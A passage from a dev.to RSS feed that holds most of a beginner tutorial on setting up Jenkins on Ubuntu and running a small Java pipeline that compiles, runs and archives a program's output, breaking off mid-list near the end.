&lt;p&gt;Once these fundamentals become clear, moving toward real-world containerized applications becomes much more natural.&lt;/p&gt;

&lt;p&gt;If you're new to Docker, try building this example yourself before moving on to Docker Compose, Kubernetes, or cloud deployments. The concepts learned here will transfer directly to larger containerized systems.&lt;/p&gt;

</description>
      <category>docker</category>
      <category>devops</category>
      <category>python</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Understanding Jenkins CI/CD Using a Tiny Java Project (A Beginner-Friendly Walkthrough)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Mon, 01 Jun 2026 04:13:19 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-jenkins-cicd-using-a-tiny-java-project-a-beginner-friendly-walkthrough-6co</link>
      <guid>https://dev.to/sanjayghosh/understanding-jenkins-cicd-using-a-tiny-java-project-a-beginner-friendly-walkthrough-6co</guid>
      <description>&lt;h2&gt;
  
  
  Understanding Jenkins CI/CD Using a Tiny Java Project
&lt;/h2&gt;

&lt;p&gt;Most Jenkins tutorials immediately jump into Docker, Kubernetes, Maven, cloud deployments, and enterprise-scale architectures.&lt;/p&gt;

&lt;p&gt;For someone learning CI/CD for the first time, that can become overwhelming very quickly.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a very lightweight but real Jenkins pipeline using a simple Java application. The goal is to understand how Jenkins works behind the scenes before introducing more advanced DevOps tools.&lt;/p&gt;

&lt;p&gt;This example demonstrates:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pipeline stages&lt;/li&gt;
&lt;li&gt;Compilation&lt;/li&gt;
&lt;li&gt;Program execution&lt;/li&gt;
&lt;li&gt;Artifact generation&lt;/li&gt;
&lt;li&gt;Artifact archiving&lt;/li&gt;
&lt;li&gt;Jenkins workspace concepts&lt;/li&gt;
&lt;li&gt;Console output debugging&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;without introducing unnecessary complexity.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Example?
&lt;/h2&gt;

&lt;p&gt;Whether you're building:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A Java application&lt;/li&gt;
&lt;li&gt;A Spring Boot service&lt;/li&gt;
&lt;li&gt;A Docker image&lt;/li&gt;
&lt;li&gt;A Kubernetes deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;the fundamental Jenkins workflow remains largely the same:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Source Code
    ↓
Build
    ↓
Test
    ↓
Package
    ↓
Deploy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Understanding this flow first makes learning advanced CI/CD concepts much easier.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjllzs3qj4yxmbfx6vztl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjllzs3qj4yxmbfx6vztl.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;br&gt;
Figure 1: Simplified Jenkins CI/CD flow used throughout this tutorial.&lt;/p&gt;
&lt;h2&gt;
  
  
  Environment
&lt;/h2&gt;

&lt;p&gt;The following environment was used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Ubuntu 24.04 LTS
OpenJDK 17
Git
Jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Jenkins Installation
&lt;/h2&gt;

&lt;p&gt;Before creating Jenkins pipelines, Jenkins must be installed on the system.&lt;/p&gt;

&lt;p&gt;Since Jenkins runs on Java, Java must be installed first.&lt;/p&gt;

&lt;h3&gt;
  
  
  Update Package Information
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify Java Installation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If Java is not installed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;openjdk-17-jdk
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify Java again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;java &lt;span class="nt"&gt;-version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Add Jenkins Repository Key
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; https://pkg.jenkins.io/debian-stable/jenkins.io-2023.key | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
/usr/share/keyrings/jenkins-keyring.asc &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Add Jenkins Repository
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo &lt;/span&gt;deb &lt;span class="o"&gt;[&lt;/span&gt;signed-by&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/keyrings/jenkins-keyring.asc] &lt;span class="se"&gt;\&lt;/span&gt;
https://pkg.jenkins.io/debian-stable binary/ | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
/etc/apt/sources.list.d/jenkins.list &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Update Package Information Again
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Install Jenkins
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Start Jenkins Service
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enable Jenkins at Startup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Verify Jenkins Status
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl status jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Open Jenkins in Browser
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During the first login, Jenkins requests an administrator password.&lt;/p&gt;

&lt;p&gt;Retrieve it using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /var/lib/jenkins/secrets/initialAdminPassword
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copy the password and complete the Jenkins setup wizard.&lt;/p&gt;




&lt;h2&gt;
  
  
  Project Structure
&lt;/h2&gt;

&lt;p&gt;The project is intentionally very small.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;calculator-app/
│
├── src/
│   └── Main.java
│
└── Jenkinsfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Java Application
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/Main.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Main&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Sum = "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although the application is tiny, it exercises the same Jenkins concepts used in larger CI/CD pipelines.&lt;/p&gt;




&lt;h2&gt;
  
  
  Jenkins Pipeline
&lt;/h2&gt;

&lt;p&gt;Create:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Jenkinsfile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;pipeline&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;agent&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt;

    &lt;span class="n"&gt;stages&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Preparation'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Preparing build environment...'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Compile'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Compiling Java program...'&lt;/span&gt;

                    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Run Program'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Running Java program...'&lt;/span&gt;

                    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'java -cp src Main &amp;gt; output.txt'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Archive Output'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                &lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

                    &lt;span class="n"&gt;archiveArtifacts&lt;/span&gt; &lt;span class="nl"&gt;artifacts:&lt;/span&gt; &lt;span class="s1"&gt;'output.txt'&lt;/span&gt;
                &lt;span class="o"&gt;}&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Deploy Simulation'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Deploying application...'&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="n"&gt;post&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="n"&gt;success&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Pipeline executed successfully!'&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;failure&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Pipeline failed!'&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For simplicity, this tutorial uses a hardcoded project path:&lt;/p&gt;


&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;This was intentionally done to demonstrate an important Jenkins workspace concept and keep the example lightweight.&lt;/p&gt;

&lt;p&gt;In real-world CI/CD pipelines, Jenkins typically checks out source code directly from a Git repository into its workspace.&lt;/p&gt;

&lt;p&gt;A more typical approach would look like:&lt;/p&gt;


&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Checkout'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;git&lt;/span&gt; &lt;span class="s1"&gt;'https://github.com/your-username/calculator-app.git'&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;stage&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Compile'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;steps&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;The purpose of this article is to focus on understanding pipeline execution, workspaces, artifacts, and build flow before introducing Git integration.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Understanding Each Stage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Preparation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Preparing build environment...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This stage simulates environment preparation.&lt;/p&gt;

&lt;p&gt;In larger projects, this could include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Loading credentials&lt;/li&gt;
&lt;li&gt;Installing dependencies&lt;/li&gt;
&lt;li&gt;Setting environment variables&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Compile
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiles the Java source code.&lt;/p&gt;

&lt;p&gt;If compilation fails, the pipeline stops immediately.&lt;/p&gt;




&lt;h3&gt;
  
  
  Run Program
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'java -cp src Main &amp;gt; output.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Executes the application and redirects the output to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Archive Output
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;archiveArtifacts&lt;/span&gt; &lt;span class="nl"&gt;artifacts:&lt;/span&gt; &lt;span class="s1"&gt;'output.txt'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Stores the generated file inside Jenkins for later access.&lt;/p&gt;




&lt;h3&gt;
  
  
  Deploy Simulation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Deploying application...'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a production pipeline, this stage could:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deploy Docker containers&lt;/li&gt;
&lt;li&gt;Copy files to servers&lt;/li&gt;
&lt;li&gt;Deploy applications to Kubernetes&lt;/li&gt;
&lt;li&gt;Restart services&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Creating the Jenkins Pipeline Job
&lt;/h2&gt;

&lt;p&gt;After logging into Jenkins:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Click:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;New Item
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Enter:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;calculator-pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Select:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;OK&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Under:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Definition
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pipeline Script
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Paste the Jenkinsfile content.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Save.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Build Now
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  CI/CD Flow Visualization
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;          Java Source Code
                  │
                  ▼
      Jenkins Pipeline Starts
                  │
                  ▼
             Compile
                  │
                  ▼
             Execute
                  │
                  ▼
        Generate Artifact
                  │
                  ▼
        Archive Artifact
                  │
                  ▼
          Post Actions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Although this example is small, enterprise pipelines follow the same basic pattern.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding Jenkins Workspaces
&lt;/h2&gt;

&lt;p&gt;One of the most important Jenkins concepts is the workspace.&lt;/p&gt;

&lt;p&gt;When Jenkins executes a build, it typically runs inside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/lib/jenkins/workspace/calculator-pipeline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;My initial build failed because Jenkins could not locate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;src/Main.java
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The source code existed outside the Jenkins workspace.&lt;/p&gt;

&lt;p&gt;The solution was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight groovy"&gt;&lt;code&gt;&lt;span class="n"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/mnt/c/MyDomain/jenkin-work/apps/calculator-app'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="s1"&gt;'javac src/Main.java'&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This temporarily changes the working directory before executing commands.&lt;/p&gt;

&lt;p&gt;Understanding workspaces will save significant debugging time when building larger pipelines.&lt;/p&gt;




&lt;h2&gt;
  
  
  Console Output
&lt;/h2&gt;

&lt;p&gt;A successful build produced output similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Preparing build environment...
Compiling Java program...
Running Java program...
Pipeline executed successfully!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Jenkins Console Output page is often the first place you'll inspect when troubleshooting build failures.&lt;/p&gt;




&lt;h2&gt;
  
  
  Generated Artifact
&lt;/h2&gt;

&lt;p&gt;The pipeline generated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Sum = 30
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Real-world pipelines commonly generate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JAR files&lt;/li&gt;
&lt;li&gt;WAR files&lt;/li&gt;
&lt;li&gt;Test reports&lt;/li&gt;
